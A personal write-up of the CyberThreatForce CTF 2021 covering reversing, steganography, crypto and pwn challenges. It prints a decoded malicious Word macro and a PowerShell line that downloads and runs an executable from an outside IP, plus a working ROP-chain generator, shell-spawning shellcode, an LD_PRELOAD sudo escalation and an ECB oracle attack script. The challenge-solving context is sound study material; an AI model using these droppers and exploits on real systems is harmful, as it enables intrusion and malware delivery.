LoginSignup
1
0

More than 1 year has passed since last update.

CyberThreatForce CTF (2021) writeup (English version)

Posted at

日本語版: CyberThreatForce CTF (2021) writeup - Qiita

About

I participated in CyberThreatForce CTF (July 3, 2021 05:00 - July 5, 2021 05:00 (JST: UTC+9)) (CTFtime.org) as a one-person team.
I earned 2710 points and ranked 25th among 197 teams which earned positive points.

Here is a list of challenges I solved:

Challenge Category Value Time (JST: UTC+9)
Return To The School Misc 250 07/03 09:25:50
Strange File steganography 200 07/03 09:37:29
YZY Network 50 07/03 10:05:18
Strange Service crypto 250 07/03 12:54:39
The document is strange Reverse 75 07/03 14:20:36
Synopsis misc 10 07/03 19:45:13
TakeYourTime Reverse 200 07/03 20:21:32
Bof_1 Pwn 100 07/04 00:54:00
Bof_1 Get Shell Pwn 200 07/04 01:00:19
(Un)Efficient Encryption crypto 300 07/04 03:03:59
PrivEsc Pwn 100 07/04 03:46:29
Bof_1 PrivEsc Pwn 200 07/04 04:18:13
FlagChecker Reverse 400 07/04 06:08:08
The Mole Network 75 07/04 08:02:18
Exfiltration Network 250 07/04 08:25:55
Usb Key Cemetery Forensic 50 07/04 09:39:52

Category Breakdown
Score over Time

Score over Time on CTFd (plotted with constant interval ignoring the time solved at in the horizontal axis)

Score over Time on CTFd

Tools mainly used

Online tools

Tools to download

Categories from which I solved no challenges

  • IA
  • Red Team
  • Web
  • Osint
  • Brainfuck
  • Blockchain
  • Game Hacking

Challenges I solved

Reverse

The document is strange

A file CV.doc was given.
It was deleted by Kaspersky at first, so I downloaded that with the protection suspended and
added its path to the exclusion list.

Opening the file with LibreOffice, it said that the file contains some macro.
Checking with "Tools -> Macro -> Edit macro",
there was some code in CV.doc / Project / Modules / NewMacros.

Firstly, the names of variables and functions are random sequences of alphabets and it was hard to read,
so I replaced them to simple names like func1.
After that, I found many lines that is passing some strange data to functions like this:

f5_str5 = func1(Array(((123 - 59) + (21 - 7)), (29 + 36), (14 + (109 - 49)), (2 + 130), ((29 + 97) Xor 244), ((25 - 6) Xor 13), ((75 + 13) Xor (206 - 60)), ((62 - 9) Xor (77 + (62 - 10))), 172, (54 Xor 81), 192, (38 Xor 132), (128 - 27)), Array((2 + 32), 32, 63, (68 Xor 174), (171 Xor 66), 118, 175, (142 Xor 72), (61 + (105 - 8)), 73, (37 + (141 - 16)), (183 Xor (197 - 81)), ((6 - 0) + 11)))

The function func1 (after renaming) is:

Private Function func1(f1_arg1 As Variant, f1_arg2 As Variant)
    Dim f1_str1 As String
    f1_str1 = ""
    For i = LBound(f1_arg1) To UBound(f1_arg1)
        f1_str1 = f1_str1 & Chr(f1_arg2(i) Xor f1_arg1(i))
    Next
    func1 = f1_str1
End Function

I translated this to JavaScript:

function func1(a, b) {
    let res = "";
    for (let i = 0; i < a.length; i++) {
        res += String.fromCharCode(a[i] ^ b[i]);
    }
    return res;
}

Now the code can be executed as JavaScript with replacing Xor with ^ and & _ with +.
(Array is available in JavaScript, but some special care is required because it treats single argument as the number of elements)

Decoding using this, I got this code:

Code after decoding the strings
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long

Private Function func1(f1_arg1 As Variant, f1_arg2 As Variant)
    Dim f1_str1 As String
    f1_str1 = ""
    For i = LBound(f1_arg1) To UBound(f1_arg1)
        f1_str1 = f1_str1 & Chr(f1_arg2(i) Xor f1_arg1(i))
    Next
    func1 = f1_str1
End Function

Sub func2()
    func3
End Sub

Sub AutoOpen()
    func3
End Sub

Sub func3()
    Sleep (2000)
    func4
    func5
    func6
End Sub

Sub func4()
    Dim f4_str1 As String
    Dim f4_str2 As String
    Dim f4_str3 As String
    Dim f4_str4 As String
    Dim f4_str5 As String
    Dim f4_str6 As String
    f4_str1 = "JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBwAGEAdABjAGgALgBlAHgAZQAiAA0ACgAkAFcAZQBiAEYAaQBsAGUAIAA9ACAAIgBoAHQAdABwADoALwAvADEANQAyAC4AMgAyADgALgAxADMAMwAuADY"
    f4_str2 = "AOAAvACQAUAByAG8AYwBOAGEAbQBlACIADQAKACAADQAKACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBs"
    f4_str3 = "AG8AYQBkAEYAaQBsAGUAKAAkAFcAZQBiAEYAaQBsAGUALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA0ACgBTAHQAYQByAHQALQBQA"
    f4_str4 = "HIAbwBjAGUAcwBzACAAKAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApAA=="
    f4_str5 = f4_str1 + f4_str2 + f4_str3 + f4_str4
    f4_str6 = "powershell.exe -exec bypass -enc " + f4_str5
    Dim f4_str8 As String
    f4_str8 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\launcher2.txt"
    Dim f4_obj1 As Object
    Set f4_obj1 = CreateObject("Scripting.FileSystemObject")
    Dim f4_obj2 As Object
    Set f4_obj2 = f4_obj1.CreateTextFile(f4_str8)
    f4_obj2.Write f4_str6
End Sub

Sub func5()
    Dim f5_str1 As String
    f5_str1 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\"
    Dim f5_str4 As String
    Dim f5_str5 As String
    f5_str4 = "launcher2.txt"
    f5_str5 = "launcher2.bat"
    Name f5_str1 & f5_str4 As f5_str1 & f5_str5
End Sub

Sub func6()
    Dim f4_str8 As String
    f4_str8 = "C:\\Users\\" + Application.UserName + "\\AppData\\Local\\Temp\\launcher2.bat"
    Shell f4_str8, vbHide
    Sleep (2000)
    Kill f4_str8
End Sub

I got this by applying "From Base64 -> Decode text (UTF-16LE (1200))" via CyberChef to the contents of `f4_str5:

$ProcName = "patch.exe"
$WebFile = "http://152.228.133.68/$ProcName"

(New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName")
Start-Process ("$env:APPDATA\$ProcName")

Seeing this, I downloaded http://152.228.133.68/patch.exe shown here.
It was blocked by Kaspersky, so I suspended the protection.

Applying "Decode text (UTF-16LE (1200))" via CyberChef to the downloaded file,
I found a string http://152.228.133.68/staged_payload.txt from the result.

Therefore I downloaded a file from the URL.
It was blocked by Kaspersky again, so I suspended the protection again.

The flag was in the file downloaded.

CYBERTF{M4cr0_D0wnl0ad3r_1s_D0wn}

TakeYourTime

An ELF file TakeYourTime was given.
Disassembling via objdump from TDM-GCC and examining,
there didn't seem any part to read input, and I found it was calling this fibonacci function.

The fibonacci function
0000000000001169 <fibonacci>:
    1169:   55                      push   %rbp
    116a:   48 89 e5                mov    %rsp,%rbp
    116d:   53                      push   %rbx
    116e:   48 83 ec 18             sub    $0x18,%rsp
    1172:   48 89 7d e8             mov    %rdi,-0x18(%rbp)
    1176:   48 83 7d e8 00          cmpq   $0x0,-0x18(%rbp)
    117b:   75 07                   jne    1184 <fibonacci+0x1b>
    117d:   b8 00 00 00 00          mov    $0x0,%eax
    1182:   eb 34                   jmp    11b8 <fibonacci+0x4f>
    1184:   48 83 7d e8 01          cmpq   $0x1,-0x18(%rbp)
    1189:   75 07                   jne    1192 <fibonacci+0x29>
    118b:   b8 01 00 00 00          mov    $0x1,%eax
    1190:   eb 26                   jmp    11b8 <fibonacci+0x4f>
    1192:   48 8b 45 e8             mov    -0x18(%rbp),%rax
    1196:   48 83 e8 01             sub    $0x1,%rax
    119a:   48 89 c7                mov    %rax,%rdi
    119d:   e8 c7 ff ff ff          callq  1169 <fibonacci>
    11a2:   48 89 c3                mov    %rax,%rbx
    11a5:   48 8b 45 e8             mov    -0x18(%rbp),%rax
    11a9:   48 83 e8 02             sub    $0x2,%rax
    11ad:   48 89 c7                mov    %rax,%rdi
    11b0:   e8 b4 ff ff ff          callq  1169 <fibonacci>
    11b5:   48 01 d8                add    %rbx,%rax
    11b8:   48 8b 5d f8             mov    -0x8(%rbp),%rbx
    11bc:   c9                      leaveq 
    11bd:   c3                      retq   

Expressed in C, the function is doing this:

What the function fibonacci does
transcript_fibonacci.c
uint64_t fibonacci(uint64_t x) {
    uint64_t rbx;
    /* 1176 */
    if (x == 0) {
        return 0;
    }
    /* 1184 */
    if (x == 1) {
        return 1;
    }
    /* 1192 */
    rbx = fibonacci(x - 1);
    /* 11a5 */
    return rbx + fibonacci(x - 2);
}

This is a calculation of The Fibonacci Sequence as the function name suggests.

Seeing this, I created a program that calculates The Fibonacci Sequence in the usual way.

The program to calculate The Fibonacci Sequence in the usual way
fibonacci_impl.c
#include <stdio.h>
#include <inttypes.h>

uint64_t fibonacci(uint64_t x) {
    uint64_t p, c, n, i;
    if (x == 0) return 0;
    if (x == 1) return 1;
    p = 0;
    c = 1;
    for (i = 1; i < x; i++) {
        n = p + c;
        p = c;
        c = n;
    }
    return c;
}

int main(void) {
    uint64_t i;
    for (i = 0; i < 10; i++) {
        printf("%" PRIu64 " %" PRIu64 "\n", i, fibonacci(i));
    }
    return 0;
}

I compiled this program on CS50 IDE. Then, I revealed where the new fibonacci function is
by disassembling it via objdump from TDM-GCC.

This is the new fibonacci function, which is smaller than the fibonacci function in TakeYourTime:

The new fibonacci function, disassembled
0000000000001260 <fibonacci>:
    1260:   f3 0f 1e fa             endbr64 
    1264:   31 c0                   xor    %eax,%eax
    1266:   48 85 ff                test   %rdi,%rdi
    1269:   74 27                   je     1292 <fibonacci+0x32>
    126b:   b8 01 00 00 00          mov    $0x1,%eax
    1270:   48 83 ff 01             cmp    $0x1,%rdi
    1274:   74 1c                   je     1292 <fibonacci+0x32>
    1276:   ba 01 00 00 00          mov    $0x1,%edx
    127b:   31 c9                   xor    %ecx,%ecx
    127d:   0f 1f 00                nopl   (%rax)
    1280:   48 89 c6                mov    %rax,%rsi
    1283:   48 83 c2 01             add    $0x1,%rdx
    1287:   48 01 c8                add    %rcx,%rax
    128a:   48 89 f1                mov    %rsi,%rcx
    128d:   48 39 d7                cmp    %rdx,%rdi
    1290:   77 ee                   ja     1280 <fibonacci+0x20>
    1292:   c3                      retq   
    1293:   66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)
    129a:   00 00 00 
    129d:   0f 1f 00                nopl   (%rax)

After that, I overwrote the binary of the new fibonacci function
to where the fibonacci function is in TakeYourTime and executed that on CS50 IDE.

As a result, it produced this output:

CYBERTF{Fuck_Fibo_3v3ryWhere}
Good you can validate the chall with this password ;)!

Now I got the flag.

CYBERTF{Fuck_Fibo_3v3ryWhere}

FlagChecker

An ELF file program was given.
I disassembled that via objdump from TDM-GCC. The result was long and it was unclear where to execute.
I executed the program on CS50 IDE, getting this result:

~/ $ ./program
./program FLAG
~/ $ ./program aaa
failed

Seeing the file, the string FLAG was from the 0x5f1f8-th byte and
the string failed was from the 0x5f1c8-th byte and 0x5f1d8-th byte.
Also there was a string Success from the 0x5f1e8-th byte. (The first byte is 0-th byte)

Adding 0x1000 (from my experience) from these offsets and examining the disassembler output,
The string Success was used at 0x20350, and the string failed was used on 0x2035e and 0x20376.
Therefore, there should be some code to check the flag before them.
Some more examination revealed:

  • 0x20376 is executed when the camlReverse__firstCheck_268 function returns 1
  • 0x2035e is executed when the camlReverse__listequal_92 function returns 1

Seeing this, I examined the camlReverse__firstCheck_268 function.
Reading the code didn't give good insight to me, so I executed with GDB on CS50 IDE and examined.

The camlReverse__firstCheck_268 function
0000000000020100 <camlReverse__firstCheck_268@@Base>:
   20100:   48 83 ec 18             sub    $0x18,%rsp
   20104:   48 83 f8 01             cmp    $0x1,%rax
   20108:   74 4a                   je     20154 <camlReverse__firstCheck_268@@Base+0x54>
   2010a:   48 83 fb 01             cmp    $0x1,%rbx
   2010e:   74 38                   je     20148 <camlReverse__firstCheck_268@@Base+0x48>
   20110:   48 89 1c 24             mov    %rbx,(%rsp)
   20114:   48 89 44 24 08          mov    %rax,0x8(%rsp)
   20119:   48 8b 33                mov    (%rbx),%rsi
   2011c:   48 8b 38                mov    (%rax),%rdi
   2011f:   48 8d 05 2a 1a 01 00    lea    0x11a2a(%rip),%rax        # 31b50 <caml_equal@@Base>
   20126:   e8 f1 76 02 00          callq  4781c <caml_c_call@@Base>
   2012b:   4d 8b 3e                mov    (%r14),%r15
   2012e:   48 83 f8 01             cmp    $0x1,%rax
   20132:   74 30                   je     20164 <camlReverse__firstCheck_268@@Base+0x64>
   20134:   48 8b 04 24             mov    (%rsp),%rax
   20138:   48 8b 58 08             mov    0x8(%rax),%rbx
   2013c:   48 8b 44 24 08          mov    0x8(%rsp),%rax
   20141:   48 8b 40 08             mov    0x8(%rax),%rax
   20145:   eb bd                   jmp    20104 <camlReverse__firstCheck_268@@Base+0x4>
   20147:   90                      nop
   20148:   b8 03 00 00 00          mov    $0x3,%eax
   2014d:   48 83 c4 18             add    $0x18,%rsp
   20151:   c3                      retq   
   20152:   66 90                   xchg   %ax,%ax
   20154:   48 83 fb 01             cmp    $0x1,%rbx
   20158:   74 0a                   je     20164 <camlReverse__firstCheck_268@@Base+0x64>
   2015a:   b8 01 00 00 00          mov    $0x1,%eax
   2015f:   48 83 c4 18             add    $0x18,%rsp
   20163:   c3                      retq   
   20164:   b8 01 00 00 00          mov    $0x1,%eax
   20169:   48 83 c4 18             add    $0x18,%rsp
   2016d:   c3                      retq   
   2016e:   66 90                   xchg   %ax,%ax

The examination revealed this:

  • 0x2011f: Compare %rdi (values based on input data) and %rsi (the target value) and return 1 is they differ
  • 0x20108: Return 1 if the input sequence is not longer than the target sequence
  • 0x2010a: Return 3 if the conditions above aren't met

Also, the "values based on input data" was the character codes of each characters entered
with multiplied by two and added one.
Examining with GDB using these information, I found that an input CYBERTF{Gox makes the function return 3.
(The last x is for making the input longer than the target sequence)

Also I found that the sequences used here is expressed as linked lists with nodes
made of the value and a pointer to the next node.

The code just before the second check was:

   20332:   48 8d 1d 77 fe 03 00    lea    0x3fe77(%rip),%rbx        # 601b0 <camlReverse__9@@Base>
   20339:   e8 52 fb ff ff          callq  1fe90 <camlReverse__xor_103@@Base>
   2033e:   48 8d 1d c3 fe 03 00    lea    0x3fec3(%rip),%rbx        # 60208 <camlReverse__82@@Base>
   20345:   e8 d6 fa ff ff          callq  1fe20 <camlReverse__listequal_92@@Base>
   2034a:   48 83 f8 01             cmp    $0x1,%rax
   2034e:   74 0e                   je     2035e <camlReverse__entry@@Base+0x1ee>

Examining with GDB, I found that the values in %rbx just before calling the camlReverse__xor_103 function
and camlReverse__listequal_92 function are address of the linked lists.
These linked lists seemed embed in the file program,
so I extracted the data from the linked lists using this program:

The program to extract data from the linked lists in the file

Specify the name of the file to extract the data from as the first argument and
the place in the file of the first node of the linked list as the second argument.

read_list.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV != 2) {
    die "Usage: perl read_list.pl file addr\n";
}

my $file = $ARGV[0];
my $addr = int($ARGV[1]);

open(FP, "< $file") or die("file open error\n");
binmode(FP);
my $data = "";
while (<FP>) { $data .= $_; }
close(FP);

while ($addr != 1 - 0x1000) {
    printf("0x%04x, ", unpack("Q", substr($data, $addr, 8)));
    $addr = unpack("Q", substr($data, $addr + 8, 8)) - 0x1000;
}
print "\n";

Using the data from the linked list pointed at by %rbx just before calling the camlReverse__xor_103 function as xor_list,
and the data from the linked list pointed at by %rbx just before calling the camlReverse__listequal_92 function as data_list,
I obtained a string using the following Python program.
(I thought I should calculate exclusive-or from the name of the function camlReverse__xor_103.
Then I thought the list should be used repeatedly because the list xor_list was short.
Also, considering the result of examination of the camlReverse__firstCheck_268 function,
I used the obtained values divided by two as character codes.)

xor_list = [0x000b, 0x00f5, 0x00a7, 0x01ab, 0x0107, 0x01b1, 0x0187, 0x01fd]
data_list = [0x00d3, 0x0037, 0x007b, 0x0165, 0x01b9, 0x0163, 0x0161, 0x0143, 0x0083, 0x0093, 0x0027, 0x0163, 0x01b9, 0x01d3, 0x015b, 0x0143, 0x008d, 0x005d, 0x002b, 0x0115, 0x0165, 0x01df, 0x01f5, 0x0197, 0x00cf, 0x009d, 0x0065, 0x01db, 0x0175, 0x01df, 0x01e7, 0x018d, 0x006d, 0x009b, 0x00c5, 0x0163, 0x0165, 0x01dd, 0x01f5, 0x018d, 0x006f, 0x0097, 0x00d5, 0x01c1, 0x016b, 0x01d9, 0x01e3, 0x0191, 0x006d, 0x0085, 0x0061, 0x0163, 0x0169, 0x01df, 0x01f7, 0x019b, 0x0079, 0x0087, 0x00d7, 0x01c9, 0x0177, 0x01c1, 0x017d]
data = [xor_list[i % len(xor_list)] ^ data_list[i] for i in range(len(data_list))]
data_str = "".join([chr(d // 2) for d in data])

The result is:

lang_is_D3@d_1n_CTF_1795b4a89708371d16982195642638cd7783998188}

I obtained the flag by merging this string and the string obtained from the examination of the camlReverse__firstCheck_268 function.

CYBERTF{Golang_is_D3@d_1n_CTF_1795b4a89708371d16982195642638cd7783998188}

steganography

Strange File

A file 74df9ed7b79cfcbca84002619b670802.png was given.

Viewing with TSXBIN, the first part was:

0000  Signature[0]          D9 10 3D 34 7A 3A 2A 78
0008  DateLength            6450407E
000C  BlockType[0]          3A 3F 74 62

The first BlockType of a PNG file should be IHDR.

Using XOR on CyberChef, it gave me sw00.
Also, the Signature of a PNG file should be 89 50 4E 47 0D 0A 1A 0A.
Using XOR on CyberChef, it gave me P@ssw00r.
Moreover, the first 3 bytes of DateLength was dP@ while they should be zero.

From these information, it seemed I should calculate exclusive-or with using P@ssw00rd repeatedly.
Doing this on CyberChef and applying Render Image, it showed the following image.
It looked like a QR Code with the color of the markers inverted.

Obtained image

I obtained the flag by applying Parse QR Code on CyberChef to this image.

CYBERTF{H1dD3n_M3Ss4g3_Fr0m_G4r1z0V}

"QR Code" is a registered trademark of DENSO WAVE INCORPORATED.

crypto

Strange Service

A TCP server was provided.
The server sends back AES-encrypted data of what is sent (until LF) plus a secret data concatenated.

Examining with sending some random data via TCP/IPテストツール, I found this:

  • The last part of the output should be the same when the length of the input is the same
  • The last part of the output should be same when the length of the input is increased by 16 bytes

This suggested that the encryption is done for each blocks independently.
Therefore, adjusting the length of input and obtaining an encrypted block of "known 15 bytes plus unknown 1 byte",
we can obtain the unknown 1 byte by brute-forcing.
Repeating this, the entire "secret data" should be revealed one-by-one from the front.

Actually the "secret data" is revealed with this program. It costed about 45 minutes.

A program to reveal the "secret data"
attack.pl
#!/usr/bin/perl

use IO::Socket;

if (@ARGV != 2) { die "Usage: perl attack.pl addr port\n"; }
my $addr = $ARGV[0];
my $port = $ARGV[1];

sub query {
    my $q = $_[0];
    my $sock = new IO::Socket::INET(PeerAddr=>$addr, PeerPort=>$port, Proto=>"tcp");
    die "socket error: $!" unless $sock;
    binmode($sock);
    print $sock ($q . "\n");
    my $res = "";
    while (<$sock>) { $res .= $_; }
    close($sock);
    return substr($res, 7); # cut "input: "
}

my $empty = &query("");
my $len = length($empty);

my $ans = "#" x 16;
for (my $i = 0; $i < $len; $i++) {
    my $add_len = 15 - $i % 16;
    my $offset = ($i >> 4) * 16;
    my $target = &query("#" x $add_len);
    my $search_prefix = substr($ans, length($ans) - 15);
    my $answer = 0x0a;
    for (my $j = 0; $j < 256; $j++) {
        if ($j % 16 == 0) { print STDERR sprintf("%X", $j >> 4); }
        if ($j == 0x0a) { next; }
        my $search_test = &query($search_prefix . chr($j));
        if (substr($search_test, 0, 16) eq substr($target, $offset, 16)) {
            $answer = $j;
            last;
        }
    }
    $ans .= chr($answer);
    print STDERR sprintf(" ans = 0x%02X done %d / %d\n", $answer, $i + 1, $len);
}

$ans = substr($ans, 16);
print "$ans\n";

The flag was contained in this "secret data".

CYBERTF{WTF_It's_u$eless_in_real_w0rld}

(Un)Efficient Encryption

Files comm1.pcapng, comm2.pcapng, and synopsis.txt were given.

Opening comm1.pcapng with Wireshark and using "Follow -> TCP Stream", the following text appeared:

Hey, could you generate an rsa key for me ? I Dont know how to do it
Yes sure, i just need a prime integer to generate it
Just take a random one, like 347 for example
Perfect, i'll keep you in touch

Doing like this, the following text appeared from comm2.pcapng:

Hello
-----BEGIN PUBLIC KEY-----
MBwwDQYJKoZIhvcNAQEBBQADCwAwCAIDBGOvAgER
-----END PUBLIC KEY-----
71436 176304 185211 110406 35389 179680 56238 185211 207993 237729 176304 207993 185211 192576 237729 95070 171155 207993 35389 185211 110406 140230 92028 110406 140230 246626 82805
95994 185211 110406 176304 192576 230623 185211 110406 237729 171155 110406 247756 185211 192576 230623 185211 110406 237729 176304 140230 92028 110406 232955 247756 192576 35389 185211 82805
194813 185211 207993 185211 110406 140230 92028 110406 237729 176304 185211 110406 92028 185211 35389 207993 185211 237729 110406 35389 171155 171098 185211 110406 105244 110406 228171 207520 180458 196399 104282 71436 31634 106170 103296 132591 35389 69499 171098 196399 24720 104282 92028 59381 24720 230238 230238 36350

Applying "From Base64 -> To Hex > Parse ASN.1 hex string" via CyberChef to the text between
-----BEGIN PUBLIC KEY----- and -----END PUBLIC KEY----- in the text from comm2.pcapng,
I got the following result:

SEQUENCE
  SEQUENCE
    ObjectIdentifier rsaEncryption (1 2 840 113549 1 1 1)
    NULL
  BITSTRING, encapsulates
    SEQUENCE
      INTEGER 0463af..(total 3bytes)..0463af
      INTEGER 11..(total 1bytes)..11

Note that 0x0463af = 287663 = 347 * 829.
Assuming that this is n and the following integer 0x11 = 17 is e, referring
RSA (cryptosystem) - Wikipedia, I calculated d with Python like this:

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
  if b == 0:
    return (1, 0)
  s, t = kago(b, a % b)
  return (t, s - (a // b) * t)

p = 346 * 828
e = 17
d, _ = kago(e, p)

The result is d = 67409.

Then, using this d and n, I performed RSA decryption via Python to the sequence of numbers
after -----END PUBLIC KEY-----.

data = [
71436,176304,185211,110406,35389,179680,56238,185211,207993,237729,176304,207993,185211,192576,237729,95070,171155,207993,35389,185211,110406,140230,92028,110406,140230,246626,82805,
95994,185211,110406,176304,192576,230623,185211,110406,237729,171155,110406,247756,185211,192576,230623,185211,110406,237729,176304,140230,92028,110406,232955,247756,192576,35389,185211,82805,
194813,185211,207993,185211,110406,140230,92028,110406,237729,176304,185211,110406,92028,185211,35389,207993,185211,237729,110406,35389,171155,171098,185211,110406,105244,110406,228171,207520,180458,196399,104282,71436,31634,106170,103296,132591,35389,69499,171098,196399,24720,104282,92028,59381,24720,230238,230238,36350
]
n = 287663
res = [pow(d_elem, d, n) for d_elem in data]
res2 = "".join([chr(r) for r in res])

The result is

The cyberthreatforce is in.We have to leave this place.Here is the secret code : CYBERTF{D3c0dE_Rs4_!!}

I got the flag.

CYBERTF{D3c0dE_Rs4_!!}

Pwn

PrivEsc

A SSH server was provided.

Connecting with Tera Term and examining, I found a flag.txt, but it cannot be read due to its permission.

ctf@281b0d1785d6:/home/ctf_cracked$ ls -l
total 4
-r-------- 1 ctf_cracked ctf_cracked 36 Jun 25 13:33 flag.txt

I googled "ctf ssh 権限昇格" and found:
Wgel CTF 解説 (Writeup) [TryHackMe] - はまやんはまやんはまやん

I tried sudo -l command used here and it resulted in this:

ctf@281b0d1785d6:/home/ctf_cracked$ sudo -l
Matching Defaults entries for ctf on 281b0d1785d6:

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+=LD_PRELOAD

User ctf may run the following commands on 281b0d1785d6:
    (ctf_cracked) NOPASSWD: /opt/Ivazov

LD_PRELOAD is enabled and there is a suspicious path /opt/Ivazov.
It looked executable, so I executed that and it printed some Cyrillic characters.

ctf@281b0d1785d6:/home/ctf_cracked$ ls -l /opt/Ivazov
-rw-r-xr-x 1 root root 16088 Jun 25 13:33 /opt/Ivazov
ctf@281b0d1785d6:/home/ctf_cracked$ /opt/Ivazov
Ивазов недоволен

I downloaded /opt/Ivazov via SCP and disassembled that via objdump from TDM-GCC.
It looked just printing one string via puts function and exiting.

I downloaded /lib/x86_64-linux-gnu/libc-2.28.so via SCP disassembled that via objdump from TDM-GCC.
It revealed the place of the puts (_IO_puts@@GLIBC_2.2.5) function.

Then, I overwrote this program to launch the shell, assembled with NASM,
from that place and uploaded the modified file via SCP.

launch_shell.asm
bits 64
mov eax, 59
mov rdi, 0x68732f6e69622f
push rdi
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall

This page was helpful to know how to have it load a library via LD_PRELOAD on sudo:
Privilege Escalation - SUDO - LD_PRELOAD
Using this, I succeeded to launch a shell as the user ctf_cracked.

ctf@281b0d1785d6:/tmp/work$ ls -l
total 1784
-rw-r--r-- 1 ctf ctf 1824496 Jul  3 18:45 libc-2.28-patched.so
ctf@281b0d1785d6:/tmp/work$ chmod a+x libc-2.28-patched.so
ctf@281b0d1785d6:/tmp/work$ sudo -u ctf_cracked LD_PRELOAD=/tmp/work/libc-2.28-patched.so /opt/Ivazov
$ id
uid=1001(ctf_cracked) gid=1001(ctf_cracked) groups=1001(ctf_cracked)
$ cat /home/ctf_cracked/flag.txt
CYBERTF{LD_PRELOAD_2_Bypass_Ivazov}
$ exit

I obtained the flag using this.

CYBERTF{LD_PRELOAD_2_Bypass_Ivazov}

Bof_1

A TCP server was provided and a large (about 900KiB) ELF file was given.
The challenge description said that the goal is to extract the flag in the new file based on the old file given.

Disassembling the ELF file via objdump in TDM-GCC and examining, I found that the program does:

  1. Output some string via puts function
  2. Read some data using %s format specifier of scanf function
  3. Output the data read plus something using %s format specifier of printf function

The data is read to the stack and its structure is "0x30-byte buffer, previous RBP, return address".

Seeing this, I searched for gadgets for ROP (Return-oriented Programming).
I found these gadgets:

pop rax; ret (58 c3) 40302c
pop rsi; ret (5e c3) 40880e
pop rdi; ret (5f c3) 401ede
syscall: ret (0f 05 c3) 41ca64

However, I couldn't find pop rdx; ret (5a c3).
Doing more investigation, I found two parts that are useful.

  403e30:   4c 89 ea                mov    %r13,%rdx
  403e33:   4c 89 e6                mov    %r12,%rsi
  403e36:   89 ef                   mov    %ebp,%edi
  403e38:   41 ff 14 df             callq  *(%r15,%rbx,8)

This part can be used to set RDX, which didn't seem possible to set via simple gadgets.

  49d4ef:   48 89 45 10             mov    %rax,0x10(%rbp)
  49d4f3:   48 83 c4 38             add    $0x38,%rsp
  49d4f7:   4c 89 f8                mov    %r15,%rax
  49d4fa:   5b                      pop    %rbx
  49d4fb:   5d                      pop    %rbp
  49d4fc:   41 5c                   pop    %r12
  49d4fe:   41 5d                   pop    %r13
  49d500:   41 5e                   pop    %r14
  49d502:   41 5f                   pop    %r15
  49d504:   c3                      retq   

This part can write data to an arbitrary location on the memory.

I decided to have it execute execve("/bin/sh, 0, 0) using them.
I generated an input data to achieve this using this program:

A program to generate an input data for launching the shell
data_gen.pl
#!/usr/bin/perl

use strict;
use warnings;

binmode(STDOUT);

my $pop_rax = 0x40302c;
my $syscall = 0x41ca64;
my $mov_rbp = 0x49d4ef;
my $mov_call = 0x403e30;

my $buffer_addr = 0x4cf5d0;

my $data =
    ("x" x 0x30) . # fill buffer
    pack("Q", $buffer_addr - 0x10) . # rbp to set

    pack("Q", $pop_rax) . # return address
    "/bin/sh\0" . # rax to set

    pack("Q", $mov_rbp) . # return address
    ("x" x 0x38) . # for add to rsp
    ("x" x 8) . # rbx to set
    pack("Q", $buffer_addr + 8 - 0x10) . # rbp to set
    ("x" x (8 * 4)) . # r12, r13, r14, r15 to set

    pack("Q", $pop_rax) . # return address
    pack("Q", $syscall) . # rax to set

    pack("Q", $mov_rbp) . # return address
    ("x" x 0x38) . # for add to rsp
    pack("Q", 0) . # rbx to set
    pack("Q", $buffer_addr) . # rbp to set
    pack("Q", 0) . # r12 to set
    pack("Q", 0) . # r13 to set
    ("x" x 8) . # r14 to set
    pack("Q", $buffer_addr + 8) . # r15 to set

    pack("Q", $pop_rax) . # return address
    pack("Q", 59) . # rax to set

    pack("Q", $mov_call) . # return address
"\n";

print $data;

Connecting the server via Tera Term and sending the file via "Send File (Paste content of file)" as binary,
I gained an access to the shell.

I executed ls and found a file service that should be the ELF file in the challenge.
It looked too large to download the whole file, so I used dd to retrieve the part
that should contain the flag, referring to the file given.

dd if=service bs=1 skip=651264 count=256

As a result, I obtained the flag.

CYBERTF{B@sic_Buff3r_Ov3rflow}

Bof_1 Get Shell

This challenge description was given.

Nice You success to read the flag. But now we need to get shell.

Launching the shell in the same way as the challenge Bof_1 and examining,
I found flag.txt in /home/ctf and reading this gave me the flag.

cd /home
ls -l
total 8
dr-xr-xr-x 1 root        root        4096 Jun 29 13:05 ctf
dr-xr-xr-x 1 ctf_cracked ctf_cracked 4096 Jun 29 13:05 ctf_cracked
cd ctf
pwd
/home/ctf
ls -l
total 4
-r--r--r-- 1 root root 24 Jun 29 11:24 flag.txt
cat flag.txt
CYBERTF{B@sic_R0PChain}
CYBERTF{B@sic_R0PChain}

Bof_1 PrivEsc

This challenge description was given.

Require Bof_1 Get Shell Great ! Our secret service has informed us that a secret file is present on the machine.

Launching the shell in the same way as the challenge Bof_1 and examining,
I found flag.txt in /home/ctf_cracked. The file cannot be read normally due to its permission.

cd /home
ls -l
total 8
dr-xr-xr-x 1 root        root        4096 Jun 29 13:05 ctf
dr-xr-xr-x 1 ctf_cracked ctf_cracked 4096 Jun 29 13:05 ctf_cracked
cd ctf_cracked
ls -l
total 4
-r-------- 1 ctf_cracked ctf_cracked 39 Jun 29 11:24 flag.txt
cat flag.txt
cat: flag.txt: Permission denied

More investigation revealed that /bin has a suspicious file:

-r-sr-xr-x 1 ctf_cracked ctf_cracked   16400 Jun 29 13:04 check

So I downloaded this file via the base64command.
This was an ELF file. I disassembled via objdump in TDM-GCC and investigated.
